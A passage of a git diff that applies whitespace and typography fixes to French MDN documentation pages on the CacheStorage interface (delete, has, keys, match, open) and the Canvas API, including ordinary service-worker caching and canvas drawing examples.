contexte actuel. Cet objet permet de stocker des ressources pour une utilisation hors-ligne et de générer des réponses personnalisées à des requêtes. +La propriété en lecture seule **`caches`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne l'objet {{domxref("CacheStorage")}} associé au contexte actuel. Cet objet permet de stocker des ressources pour une utilisation hors-ligne et de générer des réponses personnalisées à des requêtes. ## Syntaxe @@ -18,7 +18,7 @@ Un objet de type {{domxref("CacheStorage")}}. ## Exemple -L'exemple suivant montre comment mettre en cache un contexte de [service worker](/en-US/docs/Web/API/Service_Worker_API) pour stocker des ressources et les utiliser hors-ligne. +L'exemple suivant montre comment mettre en cache un contexte de [service worker](/en-US/docs/Web/API/Service_Worker_API) pour stocker des ressources et les utiliser hors-ligne. ```js this.addEventListener('install', function(event) { @@ -57,7 +57,7 @@ this.addEventListener('install', function(event) { <td>{{Spec2('Service Workers')}}</td> <td> <p> - Défini dans un <code>WindowOrWorkerGlobalScope</code> partiel dans la + Défini dans un <code>WindowOrWorkerGlobalScope</code> partiel dans la nouvelle spec. </p> </td> diff --git a/files/fr/web/api/cachestorage/delete/index.md b/files/fr/web/api/cachestorage/delete/index.md index ba53d9e8d1..3be6f80cc2 100644 --- a/files/fr/web/api/cachestorage/delete/index.md +++ b/files/fr/web/api/cachestorage/delete/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/CacheStorage/delete --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La fonction **`delete()`** de l'interface {{domxref("CacheStorage")}} trouve l'objet {{domxref("Cache")}} correspondant à un `cacheName`, et si trouvé, supprime l'objet {{domxref("Cache")}} et retourne une {{jsxref("Promise", "Promesse")}} qui renvoie `true`. Si aucun objet {{domxref("Cache")}} n'est trouvé, elle retourne `false`. +La fonction **`delete()`** de l'interface {{domxref("CacheStorage")}} trouve l'objet {{domxref("Cache")}} correspondant à un `cacheName`, et si trouvé, supprime l'objet {{domxref("Cache")}} et retourne une {{jsxref("Promise", "Promesse")}} qui renvoie `true`. Si aucun objet {{domxref("Cache")}} n'est trouvé, elle retourne `false`. Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}. @@ -30,25 +30,25 @@ Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("Win ### Retour -Une {{jsxref("Promise", "Promesse")}} qui renvoie `true` si l'objet {{domxref("Cache")}} est trouvé et supprimé, `false` sinon. +Une {{jsxref("Promise", "Promesse")}} qui renvoie `true` si l'objet {{domxref("Cache")}} est trouvé et supprimé, `false` sinon. ## Exemples -Dans ce fragment de code, nous attendons un évènement, et bloquons avec un {{domxref("ExtendableEvent.waitUntil","waitUntil()")}}, qui nettoie les anciens, inutilisés, caches avant que le nouveau service worker soit activé. Nous avons ici une liste blanche contenant le nom du cache que nous voulons garder. Nous retournons les clés des caches dans l'objet {{domxref("CacheStorage")}} utilisant {{domxref("CacheStorage.keys")}}, pour ensuite vérifier que chaque clé est dans la liste blance. Sinon, nous la supprimons avec `delete().` +Dans ce fragment de code, nous attendons un évènement, et bloquons avec un {{domxref("ExtendableEvent.waitUntil","waitUntil()")}}, qui nettoie les anciens, inutilisés, caches avant que le nouveau service worker soit activé. Nous avons ici une liste blanche contenant le nom du cache que nous voulons garder. Nous retournons les clés des caches dans l'objet {{domxref("CacheStorage")}} utilisant {{domxref("CacheStorage.keys")}}, pour ensuite vérifier que chaque clé est dans la liste blance. Sinon, nous la supprimons avec `delete().` ```js this.addEventListener('activate', function(event) { var cacheWhitelist = ['v2']; event.waitUntil( - caches.keys().then(function(keyList) { - return Promise.all(keyList.map(function(key) { - if (cacheWhitelist.indexOf(key) === -1) { - return caches.delete(key); - } - })); - }) - ); + caches.keys().then(function(keyList) { + return Promise.all(keyList.map(function(key) { + if (cacheWhitelist.indexOf(key) === -1) { + return caches.delete(key); + } + })); + }) + ); }); ``` diff --git a/files/fr/web/api/cachestorage/has/index.md b/files/fr/web/api/cachestorage/has/index.md index ae799a0f03..380f7678e8 100644 --- a/files/fr/web/api/cachestorage/has/index.md +++ b/files/fr/web/api/cachestorage/has/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/CacheStorage/has --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`has()`** de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie `true` si un objet {{domxref("Cache")}} est égal au `cacheName`. +La méthode **`has()`** de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie `true` si un objet {{domxref("Cache")}} est égal au `cacheName`. Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}. @@ -27,23 +27,23 @@ Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("Win ### Paramètres - cacheName - - : Un {{domxref("DOMString")}} représentant le nom de l'objet {{domxref("Cache")}} que vous cherchez dans le {{domxref("CacheStorage")}}. + - : Un {{domxref("DOMString")}} représentant le nom de l'objet {{domxref("Cache")}} que vous cherchez dans le {{domxref("CacheStorage")}}. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui renvoie `true` si le cache existe. +Une {{jsxref("Promise", "Promesse")}} qui renvoie `true` si le cache existe. ## Exemples -L'exemple suivant vérifie qu'un cache nommé 'v1' exists. Si c'est le cas, nous lui ajoutons une liste d'assets. Si non (la promesse `has()` est rejetée) alors nous exécutons une sorte d'initialisation du cache. +L'exemple suivant vérifie qu'un cache nommé 'v1' exists. Si c'est le cas, nous lui ajoutons une liste d'assets. Si non (la promesse `has()` est rejetée) alors nous exécutons une sorte d'initialisation du cache. ```js caches.has('v1').then(function() { caches.open('v1').then(function(cache) { - return cache.addAll(myAssets); + return cache.addAll(myAssets); }); }).catch(function() { - someCacheSetupfunction(); + someCacheSetupfunction(); });; ``` @@ -59,6 +59,6 @@ caches.has('v1').then(function() { ## Voir aussi -- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) +- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) - {{domxref("Cache")}} - {{domxref("WorkerGlobalScope.caches")}} diff --git a/files/fr/web/api/cachestorage/index.md b/files/fr/web/api/cachestorage/index.md index f91758952d..8706641b1c 100644 --- a/files/fr/web/api/cachestorage/index.md +++ b/files/fr/web/api/cachestorage/index.md @@ -19,7 +19,7 @@ L'interface : - Fournit un répertoire principal de tous les caches nommés qui peut être accessible par un {{domxref("ServiceWorker")}} ou un autre type de travailleur ou portée de {{domxref("window")}} (vous n'êtes pas limité à l'utiliser uniquement avec des Service Workers, même si la spécification {{SpecName("Service Workers")}} le définit). - > **Note :** [Chrome et Safari n'exposent que "CacheStorage" au contexte fenêtré sur HTTPS](https://bugs.chromium.org/p/chromium/issues/detail?id=1026063). {{domxref("window.caches")}} sera indéfinie, à moins qu'un certificat SSL ne soit configuré. + > **Note :** [Chrome et Safari n'exposent que "CacheStorage" au contexte fenêtré sur HTTPS](https://bugs.chromium.org/p/chromium/issues/detail?id=1026063). {{domxref("window.caches")}} sera indéfinie, à moins qu'un certificat SSL ne soit configuré. - Maintient une correspondance entre les noms des chaînes de caractères et les objets {{domxref("Cache")}} correspondants. @@ -29,34 +29,34 @@ Utilisez {{domxref("CacheStorage.match()")}} pour vérifier si une {{domxref("Re Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}. -> **Note :** CacheStorage échouera systématiquement avec une `SecurityError` sur les domaines non certifiés (i.e. ceux qui n'utilisent pas HTTPS, bien que cette définition risque de devenir plus complexe dans le future). Pendant vos tests vous pouvez contourner ce comportement en cochant l'option "Enable Service Workers over HTTP (when toolbox is open)" dans les options Firefox Devtools / le menu gear. +> **Note :** CacheStorage échouera systématiquement avec une `SecurityError` sur les domaines non certifiés (i.e. ceux qui n'utilisent pas HTTPS, bien que cette définition risque de devenir plus complexe dans le future). Pendant vos tests vous pouvez contourner ce comportement en cochant l'option "Enable Service Workers over HTTP (when toolbox is open)" dans les options Firefox Devtools / le menu gear. -> **Note :** {{domxref("CacheStorage.match()")}} est une méthode de convenance. Il est possible d'implémenter une fonctionnalité équivalente pour matcher une entrée de cache en appelant {{domxref("CacheStorage.open()")}}, puis en retournant {{domxref("CacheStorage.keys()")}}, et en matchant les entrées voulues avec {{domxref("CacheStorage.match()")}}. +> **Note :** {{domxref("CacheStorage.match()")}} est une méthode de convenance. Il est possible d'implémenter une fonctionnalité équivalente pour matcher une entrée de cache en appelant {{domxref("CacheStorage.open()")}}, puis en retournant {{domxref("CacheStorage.keys()")}}, et en matchant les entrées voulues avec {{domxref("CacheStorage.match()")}}. ## Méthodes - {{domxref("CacheStorage.match()")}} {{experimental_inline}} - - : Cherche si une {{domxref("Request")}} donnée est la clé de n'importe lequel des objets {{domxref("Cache")}} maintenus par le {{domxref("CacheStorage")}}, et retourne une {{jsxref("Promise", "Promesse")}} résolue en cet objet {{domxref("Cache")}}. + - : Cherche si une {{domxref("Request")}} donnée est la clé de n'importe lequel des objets {{domxref("Cache")}} maintenus par le {{domxref("CacheStorage")}}, et retourne une {{jsxref("Promise", "Promesse")}} résolue en cet objet {{domxref("Cache")}}. - {{domxref("CacheStorage.has()")}} {{experimental_inline}} - - : Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en `true` si un objet {{domxref("Cache")}} qui correspond au `cacheName` existe. + - : Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en `true` si un objet {{domxref("Cache")}} qui correspond au `cacheName` existe. - {{domxref("CacheStorage.open()")}} {{experimental_inline}} - - : Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en l'objet {{domxref("Cache")}} qui correspond au `cacheName` (si il n'existe pas, un nouveau cache est créé). + - : Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en l'objet {{domxref("Cache")}} qui correspond au `cacheName` (si il n'existe pas, un nouveau cache est créé). - {{domxref("CacheStorage.delete()")}} {{experimental_inline}} - - : Trouve l'objet {{domxref("Cache")}} correspondant au `cacheName`, et si il est trouvé, supprime l'objet {{domxref("Cache")}} et retourne une {{jsxref("Promise", "Promesse")}} résolue à `true`. Si aucun objet {{domxref("Cache")}} n'est trouvé, la {{jsxref("Promise", "Promesse")}} est résolue à `false`. + - : Trouve l'objet {{domxref("Cache")}} correspondant au `cacheName`, et si il est trouvé, supprime l'objet {{domxref("Cache")}} et retourne une {{jsxref("Promise", "Promesse")}} résolue à `true`. Si aucun objet {{domxref("Cache")}} n'est trouvé, la {{jsxref("Promise", "Promesse")}} est résolue à `false`. - {{domxref("CacheStorage.keys()")}} {{experimental_inline}} - - : Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau qui contient toutes les chaînes correspondantes aux objets {{domxref("Cache")}} maintenus par le {{domxref("CacheStorage")}}. Cette méthode peut s'utiliser pour itérer sur une liste de tous les objets {{domxref("Cache")}}. + - : Retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau qui contient toutes les chaînes correspondantes aux objets {{domxref("Cache")}} maintenus par le {{domxref("CacheStorage")}}. Cette méthode peut s'utiliser pour itérer sur une liste de tous les objets {{domxref("Cache")}}. ## Exemples -Cet extrait de code est tiré de l'[exemple MDN sw-test](https://github.com/mdn/sw-test/) (lancer [sw-test dans votre navigateur](https://mdn.github.io/sw-test/)). Ce service worker script attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} pour gérer la phase d'installation de l'app. Cela consiste à appeler {{domxref("CacheStorage.open")}} pour créer un nouveau cache, puis {{domxref("Cache.addAll")}} pour y ajouter une série d'assets. +Cet extrait de code est tiré de l'[exemple MDN sw-test](https://github.com/mdn/sw-test/) (lancer [sw-test dans votre navigateur](https://mdn.github.io/sw-test/)). Ce service worker script attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} pour gérer la phase d'installation de l'app. Cela consiste à appeler {{domxref("CacheStorage.open")}} pour créer un nouveau cache, puis {{domxref("Cache.addAll")}} pour y ajouter une série d'assets. -Dans le second bloc de code, on attends le déclenchement d'un {{domxref("FetchEvent")}}. On construit ensuite une réponse spéciale comme suit : +Dans le second bloc de code, on attends le déclenchement d'un {{domxref("FetchEvent")}}. On construit ensuite une réponse spéciale comme suit : -1. Vérifier si il y a un match pour la requête dans le CacheStorage. Le cas échéant, servir ça. -2. Sinon, récupérer la requête sur le réseau, puis ouvrir le cache du premier bloc et y ajouter un clone de la requête grâce à {{domxref("Cache.put")}} (`cache.put(event.request, response.clone())`.) -3. En cas d'échec (e.g. car le réseau est inaccessible), retourner une réponse par défaut. +1. Vérifier si il y a un match pour la requête dans le CacheStorage. Le cas échéant, servir ça. +2. Sinon, récupérer la requête sur le réseau, puis ouvrir le cache du premier bloc et y ajouter un clone de la requête grâce à {{domxref("Cache.put")}} (`cache.put(event.request, response.clone())`.) +3. En cas d'échec (e.g. car le réseau est inaccessible), retourner une réponse par défaut. -Enfin, on retourne cette réponse en utilisant {{domxref("FetchEvent.respondWith")}}. +Enfin, on retourne cette réponse en utilisant {{domxref("FetchEvent.respondWith")}}. ```js this.addEventListener('install', function(event) { @@ -86,9 +86,9 @@ self.addEventListener('fetch', function(event) { return response; } else { return fetch(event.request).then(function (response) { - // la réponse ne peut être utilisée qu'une seule fois - // nous devons sauvegarder le clone pour mettre - // une copie en cache et servir le second + // la réponse ne peut être utilisée qu'une seule fois + // nous devons sauvegarder le clone pour mettre + // une copie en cache et servir le second let responseClone = response.clone(); caches.open('v1').then(function (cache) { diff --git a/files/fr/web/api/cachestorage/keys/index.md b/files/fr/web/api/cachestorage/keys/index.md index 7980630510..127deabe0e 100644 --- a/files/fr/web/api/cachestorage/keys/index.md +++ b/files/fr/web/api/cachestorage/keys/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/CacheStorage/keys --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`keys()`** de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie une liste content les chaines de caractères correspondant à tous les noms des {{domxref("Cache")}} suivient par l'objet {{domxref("CacheStorage")}}. Utilisez cette méthode pour itérer sur une liste de tous les objets {{domxref("Cache")}}. +La méthode **`keys()`** de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie une liste content les chaines de caractères correspondant à tous les noms des {{domxref("Cache")}} suivient par l'objet {{domxref("CacheStorage")}}. Utilisez cette méthode pour itérer sur une liste de tous les objets {{domxref("Cache")}}. Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}. @@ -30,11 +30,11 @@ Aucun. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui retourne une liste de noms de {{domxref("Cache")}} contenus dans un objet {{domxref("CacheStorage")}}. +Une {{jsxref("Promise", "Promesse")}} qui retourne une liste de noms de {{domxref("Cache")}} contenus dans un objet {{domxref("CacheStorage")}}. ## Exemples -Dans ce fragment de code, nous attendons un évènement, et bloquons avec un {{domxref("ExtendableEvent.waitUntil","waitUntil()")}}, qui nettoie les anciens caches, inutilisés, avant que le nouveau service worker soit activé. Nous avons ici une liste blanche contenant le nom du cache que nous voulons garder. Nous retournons les clés des caches dans l'objet {{domxref("CacheStorage")}} utilisant {{domxref("CacheStorage.keys")}}, pour ensuite vérifier que chaque clé est dans la liste blance. Sinon, nous la supprimons avec `delete().` +Dans ce fragment de code, nous attendons un évènement, et bloquons avec un {{domxref("ExtendableEvent.waitUntil","waitUntil()")}}, qui nettoie les anciens caches, inutilisés, avant que le nouveau service worker soit activé. Nous avons ici une liste blanche contenant le nom du cache que nous voulons garder. Nous retournons les clés des caches dans l'objet {{domxref("CacheStorage")}} utilisant {{domxref("CacheStorage.keys")}}, pour ensuite vérifier que chaque clé est dans la liste blance. Sinon, nous la supprimons avec `delete().` ```js this.addEventListener('activate', function(event) { diff --git a/files/fr/web/api/cachestorage/match/index.md b/files/fr/web/api/cachestorage/match/index.md index c548c86759..0b1292ce4e 100644 --- a/files/fr/web/api/cachestorage/match/index.md +++ b/files/fr/web/api/cachestorage/match/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/CacheStorage/match --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La fonction **`match()`** de l'interface {{domxref("CacheStorage")}} qu'une {{domxref("Request", "Requête")}} est la clé d'un objet {{domxref("Cache")}} object suivie par un objet {{domxref("CacheStorage")}} et retourne une {{jsxref("Promise", "Promesse")}} qui renvoie la {{domxref("Response", "Réponse")}} correspondante. +La fonction **`match()`** de l'interface {{domxref("CacheStorage")}} qu'une {{domxref("Request", "Requête")}} est la clé d'un objet {{domxref("Cache")}} object suivie par un objet {{domxref("CacheStorage")}} et retourne une {{jsxref("Promise", "Promesse")}} qui renvoie la {{domxref("Response", "Réponse")}} correspondante. Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}. @@ -34,23 +34,23 @@ Les objets `Cache` sont cherchés par ordre de création. - : La {{domxref("Request", "Requête")}} recherchée. - options {{optional_inline}} - - : Un objet dont les propriétés contrôlent comment la correspondance est fait avec l'opération `match`. Les options disponible sont: + - : Un objet dont les propriétés contrôlent comment la correspondance est fait avec l'opération `match`. Les options disponible sont: - - `ignoreSearch`: Un {{domxref("Boolean")}} qui détermine si le preocessus de rapprochement doit ignorer la chaîne de requête dans l'url. Défini à `true`, la partie `?value=bar` de `http://foo.com/?value=bar` sera ignoré lors d'un rapporchement. La valeur par défaut est `false`. - - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand défini à `true`, empêche l'opération de rapprochement de valider le verbe http de la {{domxref("Request", "Requête")}} `http` (normalement, seulement `GET` et `HEAD` sont authorisés) La valeur par défaut est `false`. - - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand défini à `true`, dit à l'opération de rapprochement de ne pas faire le rapprochement avec le header `VARY`. En d'autres termes, si une URL est sélectionnée elle sera conservée indépemment de la présence du header `VARY`. La valeur par défaut est `false`. + - `ignoreSearch`: Un {{domxref("Boolean")}} qui détermine si le preocessus de rapprochement doit ignorer la chaîne de requête dans l'url. Défini à `true`, la partie `?value=bar` de `http://foo.com/?value=bar` sera ignoré lors d'un rapporchement. La valeur par défaut est `false`. + - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand défini à `true`, empêche l'opération de rapprochement de valider le verbe http de la {{domxref("Request", "Requête")}} `http` (normalement, seulement `GET` et `HEAD` sont authorisés) La valeur par défaut est `false`. + - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand défini à `true`, dit à l'opération de rapprochement de ne pas faire le rapprochement avec le header `VARY`. En d'autres termes, si une URL est sélectionnée elle sera conservée indépemment de la présence du header `VARY`. La valeur par défaut est `false`. - `cacheName`: Un {{domxref("DOMString")}} qui représente le cache dans lequel on recherche. ### Valeur retournée -Une {{jsxref("Promise", "Promesse")}} qui renvoie les {{domxref("Response", "Réponses")}} correspondante. +Une {{jsxref("Promise", "Promesse")}} qui renvoie les {{domxref("Response", "Réponses")}} correspondante. ## Exemples -Cet exemple est tiré du MDN [sw-test example](https://github.com/mdn/sw-test/) (voir [sw-test running live](https://mdn.github.io/sw-test/)). Nous attendons pour un évènement {{domxref("FetchEvent")}} et nous construisons une réponse comme suit: +Cet exemple est tiré du MDN [sw-test example](https://github.com/mdn/sw-test/) (voir [sw-test running live](https://mdn.github.io/sw-test/)). Nous attendons pour un évènement {{domxref("FetchEvent")}} et nous construisons une réponse comme suit: -1. Vérifier si une correspondance pour la requète est trouvée dans le {{domxref("CacheStorage")}} en utilisant {{domxref("CacheStorage.match")}}. Si oui, la servir. -2. Si non, ouvrire le cache `v1` avec `open()`, mettre le réseau par défaut dans le cache avec {{domxref("Cache.put")}} et retourner un clone du réseau par défaut en utilisant `return response.clone()` — obligatoire car `put()` détruit le corps de la réponse. +1. Vérifier si une correspondance pour la requète est trouvée dans le {{domxref("CacheStorage")}} en utilisant {{domxref("CacheStorage.match")}}. Si oui, la servir. +2. Si non, ouvrire le cache `v1` avec `open()`, mettre le réseau par défaut dans le cache avec {{domxref("Cache.put")}} et retourner un clone du réseau par défaut en utilisant `return response.clone()` — obligatoire car `put()` détruit le corps de la réponse. 3. Si ceci échoue (e.g., parce que le réseau est inactif), retourner une réponse de secours. ```js @@ -91,6 +91,6 @@ self.addEventListener('fetch', function(event) { ## Voir aussi -- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) +- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) - {{domxref("Cache")}} - {{domxref("WindowOrWorkerGlobalScope.caches")}} diff --git a/files/fr/web/api/cachestorage/open/index.md b/files/fr/web/api/cachestorage/open/index.md index 009c6e1e94..a46a8d2094 100644 --- a/files/fr/web/api/cachestorage/open/index.md +++ b/files/fr/web/api/cachestorage/open/index.md @@ -14,11 +14,11 @@ translation_of: Web/API/CacheStorage/open --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La fonction **`open()`**de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie l'objet {{domxref("Cache")}} correspondant a un `cacheName`. +La fonction **`open()`**de l'interface {{domxref("CacheStorage")}} retourne une {{jsxref("Promise", "Promesse")}} qui renvoie l'objet {{domxref("Cache")}} correspondant a un `cacheName`. Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("WindowOrWorkerGlobalScope.caches", "caches")}}. -> **Note :** Si le {{domxref("Cache")}} spécifié n'existe pas, un nouveau cache sera crée avec `cacheName` et retournera une {{jsxref("Promise", "Promesse")}} renvoyant le nouvel objet {{domxref("Cache")}}. +> **Note :** Si le {{domxref("Cache")}} spécifié n'existe pas, un nouveau cache sera crée avec `cacheName` et retournera une {{jsxref("Promise", "Promesse")}} renvoyant le nouvel objet {{domxref("Cache")}}. ## Syntaxe @@ -33,7 +33,7 @@ Vous pouvez accéder à `CacheStorage` via la propriété globale {{domxref("Win ### Retour -Une {{jsxref("Promise", "Promesse")}} qui renvoie l'objet {{domxref("Cache")}} demandé. +Une {{jsxref("Promise", "Promesse")}} qui renvoie l'objet {{domxref("Cache")}} demandé. ## Exemples @@ -70,6 +70,6 @@ self.addEventListener('install', function(event) { ## Voir aussi -- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) +- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) - {{domxref("Cache")}} - {{domxref("WorkerGlobalScope.caches")}} diff --git a/files/fr/web/api/canvas_api/a_basic_ray-caster/index.md b/files/fr/web/api/canvas_api/a_basic_ray-caster/index.md index 7096bbe6e5..7444fbcf91 100644 --- a/files/fr/web/api/canvas_api/a_basic_ray-caster/index.md +++ b/files/fr/web/api/canvas_api/a_basic_ray-caster/index.md @@ -18,13 +18,13 @@ Cet article fournit un exemple intéressant concret d'utilisation de l'élément **[Ouvrir une nouvelle fenêtre](http://mdn.github.io/canvas-raycaster/)** -## Pourquoi ? +## Pourquoi ? Après avoir réalisé, à mon plus grand plaisir, que le sympathique élément `<canvas>` dont j'avais [entendu parler (en)](http://www.whatwg.org/specs/web-apps/current-work/#dynamic), non seulement allait être supporté par Firefox, mais était **déjà** supporté dans la version actuelle de Safari, je me devais de tenter une petite expérience. La [présentation](/fr/docs/Web/API/Canvas_API) et le [tutoriel](/fr/docs/Web/API/Canvas_API/Tutorial) `canvas` que j'ai trouvé ici sur MDN sont excellents, mais personne n'a encore rien écrit sur l'animation. J'ai donc pensé porter un « raycaster » basique sur lequel j'avais travaillé il y a quelque temps, et voir quelle sorte de performance nous pouvions attendre d'un tampon de pixel écrit en JavaScript. -## Comment ? +## Comment ? L'idée de base est d'employer {{domxref("window.setInterval","setInterval()")}} à intervalle régulier, correspondant au taux de trame désiré. Après chaque intervalle, une fonction de mise à jour redessine le canvas, affichant la vue actuelle. Je sais que j'aurais pu commencer avec un exemple plus simple, mais je suis sûr que le tutoriel canvas va [y conduire](/fr/docs/Tutoriel_canvas/Animations_basiques), et je voulais voir si je pouvais y arriver. diff --git a/files/fr/web/api/canvas_api/index.md b/files/fr/web/api/canvas_api/index.md index 5dbc455c7e..66f1da8485 100644 --- a/files/fr/web/api/canvas_api/index.md +++ b/files/fr/web/api/canvas_api/index.md @@ -9,7 +9,7 @@ Ajouté en [HTML5](/fr/docs/Web/Guide/HTML/HTML5), l'élément {{HTMLElement("ca Les applications Mozilla ont commencé à supporter `<canvas>` à partir de Gecko 1.8 (c'est-à-dire [Firefox 1.5](/fr/docs/Mozilla/Firefox/Releases/1.5)). L'élément a été introduit à l'origine par Apple pour le Dashboard d'OS X et pour Safari. Internet Explorer supporte `<canvas>` depuis la version 9 et ultérieures ; pour les versions précédentes d'IE, une page peut effectuer ce support de `<canvas>` en incluant un script depuis le projet [« <i lang="en">Explorer Canvas</i> »](https://github.com/arv/explorercanvas) de Google. -L'élément \<canvas> est aussi utilisé par [WebGL](/fr/docs/Web/API/WebGL_API) pour afficher des graphismes 3D avec accélération matérielle sur des pages web. +L'élément \<canvas> est aussi utilisé par [WebGL](/fr/docs/Web/API/WebGL_API) pour afficher des graphismes 3D avec accélération matérielle sur des pages web. ## Exemple @@ -38,8 +38,8 @@ ctx.fillRect(10, 10, 100, 100); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.fillStyle = 'green'; @@ -88,7 +88,7 @@ window.addEventListener('load', drawCanvas); - {{domxref("OffscreenCanvas")}}{{experimental_inline}} - {{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}} -Les interfaces liées au `WebGLRenderingContext` sont référencées sous [WebGL](/en-US/docs/Web/WebGL). +Les interfaces liées au `WebGLRenderingContext` sont référencées sous [WebGL](/en-US/docs/Web/WebGL). {{domxref("CanvasCaptureMediaStream")}} est lié. @@ -115,26 +115,26 @@ Les interfaces liées au `WebGLRenderingContext` sont référencées sous [WebG ### Bibliothèques - [Fabric.js](http://fabricjs.com) est une bibliothèque open-source qui peut analyser du code SVG. -- [Kinetic.js](https://github.com/ericdrowell/KineticJS) est une bibliothèque open-source concentrée sur l'interactivité pour les applications mobiles et de bureau. -- [Paper.js](http://paperjs.org/) est une bibliothèque open-source qui rajoute un système de dessin vectoriel au canvas HTML5. +- [Kinetic.js](https://github.com/ericdrowell/KineticJS) est une bibliothèque open-source concentrée sur l'interactivité pour les applications mobiles et de bureau. +- [Paper.js](http://paperjs.org/) est une bibliothèque open-source qui rajoute un système de dessin vectoriel au canvas HTML5. - [Origami.js](http://origamijs.com/docs/) est une bibliothèque légère open-source pour canvas. - [libCanvas](http://libcanvas.github.com/) est un framework canvas puissant et léger. -- [Processing.js](http://processingjs.org) est un portage du langage de visuaisation Processing. -- [PlayCanvas](https://playcanvas.com/) est un moteur de jeu open-source. -- [Pixi.js](http://www.pixijs.com/) est un moteur de jeu open-source. -- [PlotKit](http://www.liquidx.net/plotkit/) est une bibliothèque permettant de réaliser des diagrammes et des graphiques. -- [Rekapi](https://github.com/jeremyckahn/rekapi) est une API d'animation par key-framing pour Canvas. -- [PhiloGL](http://senchalabs.github.com/philogl/) est un framework WebGL pour la visualisation de données, pour la programmation créative et pour le developpement de jeux. -- [JavaScript InfoVis Toolkit](http://thejit.org/) crée des visualisation de données interactives en 2D avec canvas pour le Web. +- [Processing.js](http://processingjs.org) est un portage du langage de visuaisation Processing. +- [PlayCanvas](https://playcanvas.com/) est un moteur de jeu open-source. +- [Pixi.js](http://www.pixijs.com/) est un moteur de jeu open-source. +- [PlotKit](http://www.liquidx.net/plotkit/) est une bibliothèque permettant de réaliser des diagrammes et des graphiques. +- [Rekapi](https://github.com/jeremyckahn/rekapi) est une API d'animation par key-framing pour Canvas. +- [PhiloGL](http://senchalabs.github.com/philogl/) est un framework WebGL pour la visualisation de données, pour la programmation créative et pour le developpement de jeux. +- [JavaScript InfoVis Toolkit](http://thejit.org/) crée des visualisation de données interactives en 2D avec canvas pour le Web. - [EaselJS](http://www.createjs.com/easeljs) est une bibliothèque gratuite/open-source qui facilite l'utilisation de canvas pour faire des jeux ou de l'art -- [Scrawl-canvas](http://scrawl.rikweb.org.uk/) est une autre bibliothèque open-source pour créer et manipuler des éléments 2D dans canvas -- [heatmap.js](https://www.patrick-wied.at/static/heatmapjs/) est une bibliothèque open-source pour créer des cartes thermiques basées sur canvas +- [Scrawl-canvas](http://scrawl.rikweb.org.uk/) est une autre bibliothèque open-source pour créer et manipuler des éléments 2D dans canvas +- [heatmap.js](https://www.patrick-wied.at/static/heatmapjs/) est une bibliothèque open-source pour créer des cartes thermiques basées sur canvas ## Spécifications | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}} | {{Spec2('HTML WHATWG')}} | | ## Voir aussi diff --git a/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.md b/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.md index dc4e3366ba..f445394f18 100644 --- a/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.md +++ 